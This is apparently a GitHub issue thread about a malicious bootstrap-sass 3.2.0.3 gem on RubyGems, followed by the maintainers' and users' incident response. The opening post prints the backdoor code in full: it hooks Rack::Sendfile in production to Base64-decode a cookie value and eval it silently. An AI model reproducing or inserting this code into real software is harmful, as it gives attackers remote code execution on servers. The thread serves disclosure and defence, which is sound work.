3.2.0.3?

[dgb]

Hi there,

We noticed that 3.2.0.2 was yanked, and 3.2.0.3 was published to RubyGems. We thought this might be because of ruby-sass being deprecated, but we can't seem to see the 3.2.0.3 code on GitHub.

Looking further, there's some...interesting looking code in what i installed via gem install bootstrap-sass -v 3.2.0.3 (in a file named lib/active-controller/middleware.rb):

begin
  require 'rack/sendfile'
  if Rails.env.production?
    Rack::Sendfile.tap do |r|
      r.send :alias_method, :c, :call
      r.send(:define_method, :call) do |e|
        begin
          x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
          eval(x) if x
        rescue Exception
        end
        c(e)
      end
    end
  end
rescue Exception
  nil
end

I have not run this, and I'm a little concerned with what's going on here. It looks like it's loading a cookie and eval-ing it, which seems suspect. Please advise.

[codytubbs]

Definitely a backdoor. Everything that's been updated in this account (recently) should be assumed backdoored until this is acknowledged and they follow proper methods on eradicating the culprit.

https://www.incidentresponse.com/playbooks/

https://support.cloudflare.com/hc/en-us/articles/200170156-What-does-the-Cloudflare-cfduid-cookie-do-

The __cfduid cookie should never be evaluated like that.

[evanphx]

The offending gem has been removed from rubygems.org.

[glebm]

@evanphx Can we find out whose account it was pushed from?

[glebm]

There is currently only 2 people who have push rights to this gem: @thomas-mcdonald and me.
I've changed my password just now.

Still need to go through all my gems, unfortunately I maintain a lot of them, really hoping it wasn't my account.

[glebm]

I've changed my password on rubygems.org and removed Thomas from owners for now as a precaution, @evanphx also got in touch with me via email.

[codytubbs]

@glebm any (auth/access) tokens? May want to check email addresses in other accounts to ensure recovery methods weren't manipulated. Sorry you're having to go through this! Always a nightmare.

[evanphx]

@glebm We don't keep track of which account it came from, no. But since we invalidating api tokens and you have change passwords, you're safe.

[AndrewSwerlick]

What's the recommended next steps for apps that were using 3.2.0.2 and can no longer build since that version was yanked. Should we be upgrading to 3.3.5.1? Will you restore a safe version of 3.2.0.2? Should we take any particular audit and mitigation steps ourselves?

[darix]

@evanphx can you check if the same IP maybe uploaded other gems around the time?

[glebm]

Will you restore a safe version of 3.2.0.2?

Yes, but not for a few days (maybe longer) as I'm busy.

Upgrading to v3.4.1 is recommended, and should be easy as there is very few backwards incompatibilities between 3.2 and 3.4 releases, and lots of bug fixes.

[edgarv09]

@AndrewSwerlick actually we update to v3.4.1 and everything seem ok. i'll keep updated if i saw something.

[thomas-mcdonald]

@glebm @evanphx Thanks for the quick action + pulling my access - I have rotated my creds and enabled 2fa across UI / API.

[uri]

I see that Rubygems reports that 3.2.0.3 is listed as yanked from Rubygems, but I seem to be able to download it. What's strange is our CI originally alerted us about the CVE but if I set the version to ~> 3.2.0 I'm still able to get the malicious patch and no warnings from CI.

[uri]

Just to be clear, I don't think this is a local caching issue. I'm seeing 3.2.0.3 installed in the build log for a Heroku test app but if I try to install 3.2.0.2 then the Heroku build fails as expected as it cannot find 3.2.0.2.

I also followed https://help.heroku.com/18PI5RSY/how-do-i-clear-the-build-cache and I am still able to get the malicious patch.